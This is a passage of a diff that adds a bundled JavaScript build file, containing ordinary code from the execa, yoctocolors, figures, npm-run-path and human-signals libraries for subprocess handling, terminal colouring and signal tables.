"(*)", + radioOff: "( )", + checkboxOn: "[\xD7]", + checkboxOff: "[ ]", + checkboxCircleOn: "(\xD7)", + checkboxCircleOff: "( )", + pointer: ">", + triangleUpOutline: "\u2206", + triangleLeft: "\u25C4", + triangleRight: "\u25BA", + lozenge: "\u2666", + lozengeOutline: "\u25CA", + hamburger: "\u2261", + smiley: "\u263A", + mustache: "\u250C\u2500\u2510", + star: "\u2736", + play: "\u25BA", + nodejs: "\u2666", + oneSeventh: "1/7", + oneNinth: "1/9", + oneTenth: "1/10", +}; +var mainSymbols = { ...common, ...specialMainSymbols }; +var fallbackSymbols = { ...common, ...specialFallbackSymbols }; +var shouldUseMain = isUnicodeSupported(); +var figures = shouldUseMain ? mainSymbols : fallbackSymbols; +var figures_default = figures; +var replacements = Object.entries(specialMainSymbols); + +// node_modules/yoctocolors/base.js +import tty from "node:tty"; +var hasColors = tty?.WriteStream?.prototype?.hasColors?.() ?? false; +var format = (open, close) => { + if (!hasColors) { + return (input2) => input2; + } + const openCode = `\x1B[${open}m`; + const closeCode = `\x1B[${close}m`; + return (input2) => { + const string = input2 + ""; + let index = string.indexOf(closeCode); + if (index === -1) { + return openCode + string + closeCode; + } + let result = openCode; + let lastIndex = 0; + const reopenOnNestedClose = close === 22; + const replaceCode = (reopenOnNestedClose ? closeCode : "") + openCode; + while (index !== -1) { + result += string.slice(lastIndex, index) + replaceCode; + lastIndex = index + closeCode.length; + index = string.indexOf(closeCode, lastIndex); + } + result += string.slice(lastIndex) + closeCode; + return result; + }; +}; +var reset = format(0, 0); +var bold = format(1, 22); +var dim = format(2, 22); +var italic = format(3, 23); +var underline = format(4, 24); +var overline = format(53, 55); +var inverse = format(7, 27); +var hidden = format(8, 28); +var strikethrough = format(9, 29); +var black = format(30, 39); +var red = format(31, 39); +var green = format(32, 39); +var yellow = format(33, 39); +var blue = format(34, 39); +var magenta = format(35, 39); +var cyan = format(36, 39); +var white = format(37, 39); +var gray = format(90, 39); +var bgBlack = format(40, 49); +var bgRed = format(41, 49); +var bgGreen = format(42, 49); +var bgYellow = format(43, 49); +var bgBlue = format(44, 49); +var bgMagenta = format(45, 49); +var bgCyan = format(46, 49); +var bgWhite = format(47, 49); +var bgGray = format(100, 49); +var redBright = format(91, 39); +var greenBright = format(92, 39); +var yellowBright = format(93, 39); +var blueBright = format(94, 39); +var magentaBright = format(95, 39); +var cyanBright = format(96, 39); +var whiteBright = format(97, 39); +var bgRedBright = format(101, 49); +var bgGreenBright = format(102, 49); +var bgYellowBright = format(103, 49); +var bgBlueBright = format(104, 49); +var bgMagentaBright = format(105, 49); +var bgCyanBright = format(106, 49); +var bgWhiteBright = format(107, 49); + +// node_modules/execa/lib/verbose/default.js +var defaultVerboseFunction = ({ + type, + message, + timestamp, + piped, + commandId, + result: { failed = false } = {}, + options: { reject = true }, +}) => { + const timestampString = serializeTimestamp(timestamp); + const icon = ICONS[type]({ failed, reject, piped }); + const color = COLORS[type]({ reject }); + return `${gray(`[${timestampString}]`)} ${gray(`[${commandId}]`)} ${color(icon)} ${color(message)}`; +}; +var serializeTimestamp = (timestamp) => + `${padField(timestamp.getHours(), 2)}:${padField(timestamp.getMinutes(), 2)}:${padField(timestamp.getSeconds(), 2)}.${padField(timestamp.getMilliseconds(), 3)}`; +var padField = (field, padding) => String(field).padStart(padding, "0"); +var getFinalIcon = ({ failed, reject }) => { + if (!failed) { + return figures_default.tick; + } + return reject ? figures_default.cross : figures_default.warning; +}; +var ICONS = { + command: ({ piped }) => (piped ? "|" : "$"), + output: () => " ", + ipc: () => "*", + error: getFinalIcon, + duration: getFinalIcon, +}; +var identity = (string) => string; +var COLORS = { + command: () => bold, + output: () => identity, + ipc: () => identity, + error: ({ reject }) => (reject ? redBright : yellowBright), + duration: () => gray, +}; + +// node_modules/execa/lib/verbose/custom.js +var applyVerboseOnLines = (printedLines, verboseInfo, fdNumber) => { + const verboseFunction = getVerboseFunction(verboseInfo, fdNumber); + return printedLines + .map(({ verboseLine, verboseObject }) => + applyVerboseFunction(verboseLine, verboseObject, verboseFunction), + ) + .filter((printedLine) => printedLine !== void 0) + .map((printedLine) => appendNewline(printedLine)) + .join(""); +}; +var applyVerboseFunction = (verboseLine, verboseObject, verboseFunction) => { + if (verboseFunction === void 0) { + return verboseLine; + } + const printedLine = verboseFunction(verboseLine, verboseObject); + if (typeof printedLine === "string") { + return printedLine; + } +}; +var appendNewline = (printedLine) => + printedLine.endsWith("\n") + ? printedLine + : `${printedLine} +`; + +// node_modules/execa/lib/verbose/log.js +var verboseLog = ({ type, verboseMessage, fdNumber, verboseInfo, result }) => { + const verboseObject = getVerboseObject({ type, result, verboseInfo }); + const printedLines = getPrintedLines(verboseMessage, verboseObject); + const finalLines = applyVerboseOnLines(printedLines, verboseInfo, fdNumber); + if (finalLines !== "") { + console.warn(finalLines.slice(0, -1)); + } +}; +var getVerboseObject = ({ + type, + result, + verboseInfo: { + escapedCommand, + commandId, + rawOptions: { piped = false, ...options }, + }, +}) => ({ + type, + escapedCommand, + commandId: `${commandId}`, + timestamp: /* @__PURE__ */ new Date(), + piped, + result, + options, +}); +var getPrintedLines = (verboseMessage, verboseObject) => + verboseMessage + .split("\n") + .map((message) => getPrintedLine({ ...verboseObject, message })); +var getPrintedLine = (verboseObject) => { + const verboseLine = defaultVerboseFunction(verboseObject); + return { verboseLine, verboseObject }; +}; +var serializeVerboseMessage = (message) => { + const messageString = + typeof message === "string" ? message : inspect(message); + const escapedMessage = escapeLines(messageString); + return escapedMessage.replaceAll(" ", " ".repeat(TAB_SIZE)); +}; +var TAB_SIZE = 2; + +// node_modules/execa/lib/verbose/start.js +var logCommand = (escapedCommand, verboseInfo) => { + if (!isVerbose(verboseInfo)) { + return; + } + verboseLog({ + type: "command", + verboseMessage: escapedCommand, + verboseInfo, + }); +}; + +// node_modules/execa/lib/verbose/info.js +var getVerboseInfo = (verbose, escapedCommand, rawOptions) => { + validateVerbose(verbose); + const commandId = getCommandId(verbose); + return { + verbose, + escapedCommand, + commandId, + rawOptions, + }; +}; +var getCommandId = (verbose) => + isVerbose({ verbose }) ? COMMAND_ID++ : void 0; +var COMMAND_ID = 0n; +var validateVerbose = (verbose) => { + for (const fdVerbose of verbose) { + if (fdVerbose === false) { + throw new TypeError( + `The "verbose: false" option was renamed to "verbose: 'none'".`, + ); + } + if (fdVerbose === true) { + throw new TypeError( + `The "verbose: true" option was renamed to "verbose: 'short'".`, + ); + } + if (!VERBOSE_VALUES.includes(fdVerbose) && !isVerboseFunction(fdVerbose)) { + const allowedValues = VERBOSE_VALUES.map( + (allowedValue) => `'${allowedValue}'`, + ).join(", "); + throw new TypeError( + `The "verbose" option must not be ${fdVerbose}. Allowed values are: ${allowedValues} or a function.`, + ); + } + } +}; + +// node_modules/execa/lib/return/duration.js +import { hrtime } from "node:process"; +var getStartTime = () => hrtime.bigint(); +var getDurationMs = (startTime) => Number(hrtime.bigint() - startTime) / 1e6; + +// node_modules/execa/lib/arguments/command.js +var handleCommand = (filePath, rawArguments, rawOptions) => { + const startTime = getStartTime(); + const { command, escapedCommand } = joinCommand(filePath, rawArguments); + const verbose = normalizeFdSpecificOption(rawOptions, "verbose"); + const verboseInfo = getVerboseInfo(verbose, escapedCommand, { + ...rawOptions, + }); + logCommand(escapedCommand, verboseInfo); + return { + command, + escapedCommand, + startTime, + verboseInfo, + }; +}; + +// node_modules/execa/lib/arguments/options.js +var import_cross_spawn = __toESM(require_cross_spawn(), 1); +import path8 from "node:path"; +import process6 from "node:process"; + +// node_modules/npm-run-path/index.js +import process4 from "node:process"; +import path5 from "node:path"; + +// node_modules/npm-run-path/node_modules/path-key/index.js +function pathKey(options = {}) { + const { env = process.env, platform: platform2 = process.platform } = options; + if (platform2 !== "win32") { + return "PATH"; + } + return ( + Object.keys(env) + .reverse() + .find((key) => key.toUpperCase() === "PATH") || "Path" + ); +} + +// node_modules/unicorn-magic/node.js +import { promisify } from "node:util"; +import { + execFile as execFileCallback, + execFileSync as execFileSyncOriginal, +} from "node:child_process"; +import path4 from "node:path"; +import { fileURLToPath as fileURLToPath2 } from "node:url"; +var execFileOriginal = promisify(execFileCallback); +function toPath(urlOrPath) { + return urlOrPath instanceof URL ? fileURLToPath2(urlOrPath) : urlOrPath; +} +function traversePathUp(startPath) { + return { + *[Symbol.iterator]() { + let currentPath = path4.resolve(toPath(startPath)); + let previousPath; + while (previousPath !== currentPath) { + yield currentPath; + previousPath = currentPath; + currentPath = path4.resolve(currentPath, ".."); + } + }, + }; +} +var TEN_MEGABYTES_IN_BYTES = 10 * 1024 * 1024; + +// node_modules/npm-run-path/index.js +var npmRunPath = ({ + cwd = process4.cwd(), + path: pathOption = process4.env[pathKey()], + preferLocal = true, + execPath: execPath2 = process4.execPath, + addExecPath = true, +} = {}) => { + const cwdPath = path5.resolve(toPath(cwd)); + const result = []; + const pathParts = pathOption.split(path5.delimiter); + if (preferLocal) { + applyPreferLocal(result, pathParts, cwdPath); + } + if (addExecPath) { + applyExecPath(result, pathParts, execPath2, cwdPath); + } + return pathOption === "" || pathOption === path5.delimiter + ? `${result.join(path5.delimiter)}${pathOption}` + : [...result, pathOption].join(path5.delimiter); +}; +var applyPreferLocal = (result, pathParts, cwdPath) => { + for (const directory of traversePathUp(cwdPath)) { + const pathPart = path5.join(directory, "node_modules/.bin"); + if (!pathParts.includes(pathPart)) { + result.push(pathPart); + } + } +}; +var applyExecPath = (result, pathParts, execPath2, cwdPath) => { + const pathPart = path5.resolve(cwdPath, toPath(execPath2), ".."); + if (!pathParts.includes(pathPart)) { + result.push(pathPart); + } +}; +var npmRunPathEnv = ({ env = process4.env, ...options } = {}) => { + env = { ...env }; + const pathName = pathKey({ env }); + options.path = env[pathName]; + env[pathName] = npmRunPath(options); + return env; +}; + +// node_modules/execa/lib/terminate/kill.js +import { setTimeout as setTimeout2 } from "node:timers/promises"; + +// node_modules/execa/lib/return/final-error.js +var getFinalError = (originalError, message, isSync) => { + const ErrorClass = isSync ? ExecaSyncError : ExecaError; + const options = + originalError instanceof DiscardedError ? {} : { cause: originalError }; + return new ErrorClass(message, options); +}; +var DiscardedError = class extends Error {}; +var setErrorName = (ErrorClass, value) => { + Object.defineProperty(ErrorClass.prototype, "name", { + value, + writable: true, + enumerable: false, + configurable: true, + }); + Object.defineProperty(ErrorClass.prototype, execaErrorSymbol, { + value: true, + writable: false, + enumerable: false, + configurable: false, + }); +}; +var isExecaError = (error) => + isErrorInstance(error) && execaErrorSymbol in error; +var execaErrorSymbol = Symbol("isExecaError"); +var isErrorInstance = (value) => + Object.prototype.toString.call(value) === "[object Error]"; +var ExecaError = class extends Error {}; +setErrorName(ExecaError, ExecaError.name); +var ExecaSyncError = class extends Error {}; +setErrorName(ExecaSyncError, ExecaSyncError.name); + +// node_modules/execa/lib/terminate/signal.js +import { constants as constants3 } from "node:os"; + +// node_modules/human-signals/build/src/main.js +import { constants as constants2 } from "node:os"; + +// node_modules/human-signals/build/src/realtime.js +var getRealtimeSignals = () => { + const length = SIGRTMAX - SIGRTMIN + 1; + return Array.from({ length }, getRealtimeSignal); +}; +var getRealtimeSignal = (value, index) => ({ + name: `SIGRT${index + 1}`, + number: SIGRTMIN + index, + action: "terminate", + description: "Application-specific signal (realtime)", + standard: "posix", +}); +var SIGRTMIN = 34; +var SIGRTMAX = 64; + +// node_modules/human-signals/build/src/signals.js +import { constants } from "node:os"; + +// node_modules/human-signals/build/src/core.js +var SIGNALS = [ + { + name: "SIGHUP", + number: 1, + action: "terminate", + description: "Terminal closed", + standard: "posix", + }, + { + name: "SIGINT", + number: 2, + action: "terminate", + description: "User interruption with CTRL-C", + standard: "ansi", + }, + { + name: "SIGQUIT", + number: 3, + action: "core", + description: "User interruption with CTRL-\\", + standard: "posix", + }, + { + name: "SIGILL", + number: 4, + action: "core", + description: "Invalid machine instruction", + standard: "ansi", + }, + { + name: "SIGTRAP", + number: 5, + action: "core", + description: "Debugger breakpoint", + standard: "posix", + }, + { + name: "SIGABRT", + number: 6, + action: "core", + description: "Aborted", + standard: "ansi", + }, + { + name: "SIGIOT", + number: 6, + action: "core", + description: "Aborted", + standard: "bsd", + }, + { + name: "SIGBUS", + number: 7, + action: "core", + description: + "Bus error due to misaligned, non-existing address or paging error", + standard: "bsd", + }, + { + name: "SIGEMT", + number: 7, + action: "terminate", + description: "Command should be emulated but is not implemented", + standard: "other", + }, + { + name: "SIGFPE", + number: 8, + action: "core", + description: "Floating point arithmetic error", + standard: "ansi", + }, + { + name: "SIGKILL", + number: 9, + action: "terminate", + description: "Forced termination", + standard: "posix", + forced: true, + }, + { + name: "SIGUSR1", + number: 10, + action: "terminate", + description: "Application-specific signal", + standard: "posix", + }, + { + name: "SIGSEGV", + number: 11, + action: "core", + description: "Segmentation fault", + standard: "ansi", + }, + { + name: "SIGUSR2", + number: 12, + action: "terminate", + description: "Application-specific signal", + standard: "posix", + }, + { + name: "SIGPIPE", + number: 13, + action: "terminate", + description: "Broken pipe or socket", + standard: "posix", + }, + { + name: "SIGALRM", + number: 14, + action: "terminate", + description: "Timeout or timer", + standard: "posix", + }, + { + name: "SIGTERM", + number: 15, + action: "terminate", + description: "Termination", + standard: "ansi", + }, + { + name: "SIGSTKFLT", + number: 16, + action: "terminate", + description: "Stack is empty or overflowed", + standard: "other", + }, + { + name: "SIGCHLD", + number: 17, + action: "ignore", + description: "Child process terminated, paused or unpaused", + standard: "posix", + }, + { + name: "SIGCLD", + number: 17, + action: "ignore", + description: "Child process terminated, paused or unpaused", + standard: "other", + }, + { + name: "SIGCONT", + number: 18, + action: "unpause", + description: "Unpaused", + standard: "posix", + forced: true, + }, + { + name: "SIGSTOP", + number: 19, + action: "pause", + description: "Paused", + standard: "posix", + forced: true, + }, + { + name: "SIGTSTP", + number: 20, + action: "pause", + description: 'Paused using CTRL-Z or "suspend"', + standard: "posix", + }, + { + name: "SIGTTIN", + number: 21, + action: "pause", + description: "Background process cannot read terminal input", + standard: "posix", + }, + { + name: "SIGBREAK", + number: 21, + action: "terminate", + description: "User interruption with CTRL-BREAK", + standard: "other", + }, + { + name: "SIGTTOU", + number: 22, + action: "pause", + description: "Background process cannot write to terminal output", + standard: "posix", + }, + { + name: "SIGURG", + number: 23, + action: "ignore", + description: "Socket received out-of-band data", + standard: "bsd", + }, + { + name: "SIGXCPU", + number: 24, + action: "core", + description: "Process timed out", + standard: "bsd", + }, + { + name: "SIGXFSZ", + number: 25, + action: "core", + description: "File too big", + standard: "bsd", + }, + { + name: "SIGVTALRM", + number: 26, + action: "terminate", + description: "Timeout or timer", + standard: "bsd", + }, + { + name: "SIGPROF", + number: 27, + action: "terminate", + description: "Timeout or timer", + standard: "bsd", + }, + { + name: "SIGWINCH", + number: 28, + action: "ignore", + description: "Terminal window size changed", + standard: "bsd", + }, + { + name: "SIGIO", + number: 29, + action: "terminate", + description: "I/O is available", + standard: "other", + }, + { + name: "SIGPOLL", + number: 29, + action: "terminate", + description: "Watched event", + standard: "other", + }, + { + name: "SIGINFO", + number: 29, + action: "ignore", + description: "Request for process information", + standard: "other", + }, + { + name: "SIGPWR", + number: 30, + action: "terminate", + description: "Device running out of power", + standard: "systemv", + }, + { + name: "SIGSYS", + number: 31, + action: "core", + description: "Invalid system call", + standard: "other", + }, + { + name: "SIGUNUSED", + number: 31, + action: "terminate", + description: "Invalid system call", + standard: "other", + }, +]; + +// node_modules/human-signals/build/src/signals.js +var getSignals = () => { + const realtimeSignals = getRealtimeSignals(); + const signals2 = [...SIGNALS, ...realtimeSignals].map(normalizeSignal); + return signals2; +}; +var normalizeSignal = ({ + name, + number: defaultNumber, + description, + action, + forced = false, + standard, +}) => { + const { + signals: { [name]: constantSignal }, + } = constants; + const supported = constantSignal !== void 0; + const number = supported ? constantSignal : defaultNumber; + return { name, number, description, supported, action, forced, standard }; +}; + +// node_modules/human-signals/build/src/main.js +var getSignalsByName = () => { + const signals2 = getSignals(); + return Object.fromEntries(signals2.map(getSignalByName)); +}; +var getSignalByName = ({ + name, + number, + description, + supported, + action, + forced, + standard, +}) => [ + name, + { name, number, description, supported, action, forced, standard }, +]; +var signalsByName = getSignalsByName(); +var getSignalsByNumber = () => { + const signals2 = getSignals(); + const length = SIGRTMAX + 1; + const signalsA = Array.from({ length }, (value, number) => + getSignalByNumber(number, signals2), + ); + return Object.assign({}, ...signalsA); +}; +var getSignalByNumber = (number, signals2) => { + const signal = findSignalByNumber(number, signals2); + if (signal === void 0) { + return {}; + } + const { name, description, supported, action, forced, standard } = signal; + return { + [number]: { + name, + number, + description, + supported, + action, + forced, + standard, + }, + }; +}; +var findSignalByNumber = (number, signals2) => { + const signal = signals2.find( + ({ name }) => constants2.signals[name] === number, + ); + if (signal !== void 0) { + return signal; + } + return signals2.find((signalA) => signalA.number === number); +}; +var signalsByNumber = getSignalsByNumber(); + +// node_modules/execa/lib/terminate/signal.js +var normalizeKillSignal = (killSignal) => { + const optionName = "option `killSignal`"; + if (killSignal === 0) { + throw new TypeError(`Invalid ${optionName}: 0 cannot be used.`); + } + return normalizeSignal2(killSignal, optionName); +}; +var normalizeSignalArgument = (signal) => + signal === 0 + ? signal + : normalizeSignal2(signal, "`subprocess.kill()`'s argument"); +var normalizeSignal2 = (signalNameOrInteger, optionName) => { + if (Number.isInteger(signalNameOrInteger)) { + return normalizeSignalInteger(signalNameOrInteger, optionName); + } + if (typeof signalNameOrInteger === "string") { + return normalizeSignalName(signalNameOrInteger, optionName); + } + throw new TypeError(`Invalid ${optionName} ${String(signalNameOrInteger)}: it must be a string or an integer. +${getAvailableSignals()}`); +}; +var normalizeSignalInteger = (signalInteger, optionName) => { + if (signalsIntegerToName.has(signalInteger)) { + return signalsIntegerToName.get(signalInteger); + } + throw new TypeError(`Invalid ${optionName} ${signalInteger}: this signal integer does not exist. +${getAvailableSignals()}`); +}; +var getSignalsIntegerToName = () => + new Map( + Object.entries(constants3.signals) + .reverse() + .map(([signalName, signalInteger]) => [signalInteger, signalName]), + ); +var signalsIntegerToName = getSignalsIntegerToName(); +var normalizeSignalName = (signalName, optionName) => { + if (signalName in constants3.signals) { + return signalName; + } + if (signalName.toUpperCase() in constants3.signals) { + throw new TypeError( + `Invalid ${optionName} '${signalName}': please rename it to '${signalName.toUpperCase()}'.`, + ); + } + throw new TypeError(`Invalid ${optionName} '${signalName}': this signal name does not exist. +${getAvailableSignals()}`); +}; +var getAvailableSignals = + () => `Available signal names: ${getAvailableSignalNames()}. +Available signal numbers: ${getAvailableSignalIntegers()}.`; +var getAvailableSignalNames = () => + Object.keys(constants3.signals) + .sort() + .map((signalName) => `'${signalName}'`) + .join(", "); +var getAvailableSignalIntegers = () => + [ + ...new Set( + Object.values(constants3.signals).sort( + (signalInteger, signalIntegerTwo) => signalInteger - signalIntegerTwo, + ), + ), + ].join(", "); +var getSignalDescription = (signal) => signalsByName[signal].description; + +// node_modules/execa/lib/terminate/kill.js +var normalizeForceKillAfterDelay = (forceKillAfterDelay) => { + if (forceKillAfterDelay === false) { + return forceKillAfterDelay; + } + if (forceKillAfterDelay === true) { + return DEFAULT_FORCE_KILL_TIMEOUT; + } + if (!Number.isFinite(forceKillAfterDelay) || forceKillAfterDelay < 0) { + throw new TypeError( + `Expected the \`forceKillAfterDelay\` option to be a non-negative integer, got \`${forceKillAfterDelay}\` (${typeof forceKillAfterDelay})`, + ); + } + return forceKillAfterDelay; +}; +var DEFAULT_FORCE_KILL_TIMEOUT = 1e3 * 5; +var subprocessKill = ( + { + kill, + options: { forceKillAfterDelay, killSignal }, + onInternalError, + context, + controller, + }, + signalOrError, + errorArgument, +) => { + const { signal, error } = parseKillArguments( + signalOrError, + errorArgument, + killSignal, + ); + emitKillError(error, onInternalError); + const killResult = kill(signal); + setKillTimeout({ + kill, + signal, + forceKillAfterDelay, + killSignal, + killResult, + context, + controller, + }); + return killResult; +}; +var parseKillArguments = (signalOrError, errorArgument, killSignal) => { + const [signal = killSignal, error] = isErrorInstance(signalOrError) + ? [void 0, signalOrError] + : [signalOrError, errorArgument]; + if (typeof signal !== "string" && !Number.isInteger(signal)) { + throw new TypeError( + `The first argument must be an error instance or a signal name string/integer: ${String(signal)}`, + ); + } + if (error !== void 0 && !isErrorInstance(error)) { + throw new TypeError( + `The second argument is optional. If specified, it must be an error instance: ${error}`, + ); + } + return { signal: normalizeSignalArgument(signal), error }; +}; +var emitKillError = (error, onInternalError) => { + if (error !== void 0) { + onInternalError.reject(error); + } +}; +var setKillTimeout = async ({ + kill, + signal, + forceKillAfterDelay, + killSignal, + killResult, + context, + controller, +}) => { + if (signal === killSignal && killResult) { + killOnTimeout({ + kill, + forceKillAfterDelay, + context, + controllerSignal: controller.signal, + }); + } +}; +var killOnTimeout = async ({ + kill, + forceKillAfterDelay, + context, + controllerSignal, +}) => { + if (forceKillAfterDelay === false) { + return; + } + try { + await setTimeout2(forceKillAfterDelay, void 0, { + signal: controllerSignal, + }); + if (kill("SIGKILL")) { + context.isForcefullyTerminated ??= true; + } + } catch {} +}; + +// node_modules/execa/lib/utils/abort-signal.js +import { once } from "node:events"; +var onAbortedSignal = async (mainSignal, stopSignal) => { + if (!mainSignal.aborted) { + await once(mainSignal, "abort", { signal: stopSignal }); + } +}; + +// node_modules/execa/lib/terminate/cancel.js +var validateCancelSignal = ({ cancelSignal }) => { + if ( + cancelSignal !== void 0 && + Object.prototype.toString.call(cancelSignal) !== "[object AbortSignal]" + ) { + throw new Error( + `The \`cancelSignal\` option must be an AbortSignal: ${String(cancelSignal)}`, + ); + } +}; +var throwOnCancel = ({ + subprocess, + cancelSignal, + gracefulCancel, + context, + controller, +}) => + cancelSignal === void 0 || gracefulCancel + ? [] + : [terminateOnCancel(subprocess, cancelSignal, context, controller)]; +var terminateOnCancel = async ( + subprocess, + cancelSignal, + context, + { signal }, +) => { + await onAbortedSignal(cancelSignal, signal); + context.terminationReason ??= "cancel"; + subprocess.kill(); + throw cancelSignal.reason; +}; + +// node_modules/execa/lib/ipc/graceful.js +import { scheduler as scheduler2 } from "node:timers/promises"; + +// node_modules/execa/lib/ipc/send.js +import { promisify as promisify2 } from "node:util"; + +// node_modules/execa/lib/ipc/validation.js +var validateIpcMethod = ({ + methodName, + isSubprocess, + ipc, + isConnected: isConnected2, +}) => { + validateIpcOption(methodName, isSubprocess, ipc); + validateConnection(methodName, isSubprocess, isConnected2); +}; +var validateIpcOption = (methodName, isSubprocess, ipc) => { + if (!ipc) { + throw new Error( + `${getMethodName(methodName, isSubprocess)} can only be used if the \`ipc\` option is \`true\`.`, + ); + } +}; +var validateConnection = (methodName, isSubprocess, isConnected2) => { + if (!isConnected2) { + throw new Error( + `${getMethodName(methodName, isSubprocess)} cannot be used: the ${getOtherProcessName(isSubprocess)} has already exited or disconnected.`, + ); + } +}; +var throwOnEarlyDisconnect = (isSubprocess) => { + throw new Error( + `${getMethodName("getOneMessage", isSubprocess)} could not complete: the ${getOtherProcessName(isSubprocess)} exited or disconnected.`, + ); +}; +var throwOnStrictDeadlockError = (isSubprocess) => { + throw new Error(`${getMethodName("sendMessage", isSubprocess)} failed: the ${getOtherProcessName(isSubprocess)} is sending a message too, instead of listening to incoming messages. +This can be fixed by both sending a message and listening to incoming messages at the same time: + +const [receivedMessage] = await Promise.all([ + ${getMethodName("getOneMessage", isSubprocess)}, + ${getMethodName("sendMessage", isSubprocess, "message, {strict: true}")}, +]);`); +}; +var getStrictResponseError = (error, isSubprocess) => + new Error( + `${getMethodName("sendMessage", isSubprocess)} failed when sending an acknowledgment response to the ${getOtherProcessName(isSubprocess)}.`, + { cause: error }, + ); +var throwOnMissingStrict = (isSubprocess) => { + throw new Error( + `${getMethodName("sendMessage", isSubprocess)} failed: the ${getOtherProcessName(isSubprocess)} is not listening to incoming messages.`, + ); +}; +var throwOnStrictDisconnect = (isSubprocess) => { + throw new Error( + `${getMethodName("sendMessage", isSubprocess)} failed: the ${getOtherProcessName(isSubprocess)} exited without listening to incoming messages.`, + ); +}; +var getAbortDisconnectError = () => + new Error( + `\`cancelSignal\` aborted: the ${getOtherProcessName(true)} disconnected.`, + ); +var throwOnMissingParent = () => { + throw new Error( + "`getCancelSignal()` cannot be used without setting the `cancelSignal` subprocess option.", + ); +}; +var handleEpipeError = ({ error, methodName, isSubprocess }) => { + if (error.code === "EPIPE") { + throw new Error( + `${getMethodName(methodName, isSubprocess)} cannot be used: the ${getOtherProcessName(isSubprocess)} is disconnecting.`, + { cause: error }, + ); + } +}; +var handleSerializationError = ({ + error, + methodName, + isSubprocess, + message, +}) => { + if (isSerializationError(error)) { + throw new Error( + `${getMethodName(methodName, isSubprocess)}'s argument type is invalid: the message cannot be serialized: ${String(message)}.`, + { cause: error }, + ); + } +}; +var isSerializationError = ({ code, message }) => + SERIALIZATION_ERROR_CODES.has(code) || + SERIALIZATION_ERROR_MESSAGES.some((serializationErrorMessage) => + message.includes(serializationErrorMessage), + ); +var SERIALIZATION_ERROR_CODES = /* @__PURE__ */ new Set([ + // Message is `undefined` + "ERR_MISSING_ARGS", + // Message is a function, a bigint, a symbol + "ERR_INVALID_ARG_TYPE", +]); +var SERIALIZATION_ERROR_MESSAGES = [ + // Message is a promise or a proxy, with `serialization: 'advanced'` + "could not be cloned", + // Message has cycles, with `serialization: 'json'` + "circular structure", + // Message has cycles inside toJSON(), with `serialization: 'json'` + "call stack size exceeded", +]; +var getMethodName = (methodName, isSubprocess, parameters = "") => + methodName === "cancelSignal" + ? "`cancelSignal`'s `controller.abort()`" + : `${getNamespaceName(isSubprocess)}${methodName}(${parameters})`; +var getNamespaceName = (isSubprocess) => (isSubprocess ? "" : "subprocess."); +var getOtherProcessName = (isSubprocess) => + isSubprocess ? "parent process" : "subprocess"; +var disconnect = (anyProcess) => { + if (anyProcess.connected) { + anyProcess.disconnect(); + } +}; + +// node_modules/execa/lib/utils/deferred.js +var createDeferred = () => { + const methods = {}; + const promise = new Promise((resolve, reject) => { + Object.assign(methods, { resolve, reject }); + }); + return Object.assign(promise, methods); +}; + +// node_modules/execa/lib/arguments/fd-options.js +var getToStream = (destination, to = "stdin") => { + const isWritable = true; + const { options, fileDescriptors } = SUBPROCESS_OPTIONS.get(destination); + const fdNumber = getFdNumber(fileDescriptors, to, isWritable); + const destinationStream = destination.stdio[fdNumber]; + if (destinationStream === null) { + throw new TypeError( + getInvalidStdioOptionMessage(fdNumber, to, options, isWritable), + ); + } + return destinationStream; +}; +var getFromStream = (source, from = "stdout") => { + const isWritable = false; + const { options, fileDescriptors } = SUBPROCESS_OPTIONS.get(source); + const fdNumber = getFdNumber(fileDescriptors, from, isWritable); + const sourceStream = fdNumber === "all" ? source.all : source.stdio[fdNumber]; + if (sourceStream === null || sourceStream === void 0) { + throw new TypeError( + getInvalidStdioOptionMessage(fdNumber, from, options, isWritable), + ); + } + return sourceStream; +}; +var SUBPROCESS_OPTIONS = /* @__PURE__ */ new WeakMap(); +var getFdNumber = (fileDescriptors, fdName, isWritable) => { + const fdNumber = parseFdNumber(fdName, isWritable); + validateFdNumber(fdNumber, fdName, isWritable, fileDescriptors); + return fdNumber; +}; +var parseFdNumber = (fdName, isWritable) => { + const fdNumber = parseFd(fdName); + if (fdNumber !== void 0) { + return fdNumber; + } + const { validOptions, defaultValue } = isWritable + ? { validOptions: '"stdin"', defaultValue: "stdin" } + : { validOptions: '"stdout", "stderr", "all"', defaultValue: "stdout" }; + throw new TypeError(`"${getOptionName(isWritable)}" must not be "${fdName}". +It must be ${validOptions} or "fd3", "fd4" (and so on). +It is optional and defaults to "${defaultValue}".`); +}; +var validateFdNumber = (fdNumber, fdName, isWritable, fileDescriptors) => { + const fileDescriptor = fileDescriptors[getUsedDescriptor(fdNumber)]; + if (fileDescriptor === void 0) { + throw new TypeError(`"${getOptionName(isWritable)}" must not be ${fdName}. That file descriptor does not exist. +Please set the "stdio" option to ensure that file descriptor exists.`); + } + if (fileDescriptor.direction === "input" && !isWritable) { + throw new TypeError( + `"${getOptionName(isWritable)}" must not be ${fdName}. It must be a readable stream, not writable.`, + ); + } + if (fileDescriptor.direction !== "input" && isWritable) { + throw new TypeError( + `"${getOptionName(isWritable)}" must not be ${fdName}. It must be a writable stream, not readable.`, + ); + } +}; +var getInvalidStdioOptionMessage = (fdNumber, fdName, options, isWritable) => { + if (fdNumber === "all" && !options.all) { + return `The "all" option must be true to use "from: 'all'".`; + } + const { optionName, optionValue } = getInvalidStdioOption(fdNumber, options); + return `The "${optionName}: ${serializeOptionValue(optionValue)}" option is incompatible with using "${getOptionName(isWritable)}: ${serializeOptionValue(fdName)}". +Please set this option with "pipe" instead.`; +}; +var getInvalidStdioOption = (fdNumber, { stdin, stdout, stderr, stdio }) => { + const usedDescriptor = getUsedDescriptor(fdNumber); + if (usedDescriptor === 0 && stdin !== void 0) { + return { optionName: "stdin", optionValue: stdin }; + } + if (usedDescriptor === 1 && stdout !== void 0) { + return { optionName: "stdout", optionValue: stdout }; + } + if (usedDescriptor === 2 && stderr !== void 0) { + return { optionName: "stderr", optionValue: stderr }; + } + return { + optionName: `stdio[${usedDescriptor}]`, + optionValue: stdio[usedDescriptor], + }; +}; +var getUsedDescriptor = (fdNumber) => (fdNumber === "all" ? 1 : fdNumber); +var getOptionName = (isWritable) => (isWritable ? "to" : "from"); +var serializeOptionValue = (value) => { + if (typeof value === "string") { + return `'${value}'`; + } + return typeof value === "number" ? `${value}` : "Stream"; +}; + +// node_modules/execa/lib/ipc/strict.js +import { once as once3 } from "node:events"; + +// node_modules/execa/lib/utils/max-listeners.js +import { addAbortListener } from "node:events"; +var incrementMaxListeners = (eventEmitter, maxListenersIncrement, signal) => { + const maxListeners = eventEmitter.getMaxListeners(); + if (maxListeners === 0 || maxListeners === Number.POSITIVE_INFINITY) { + 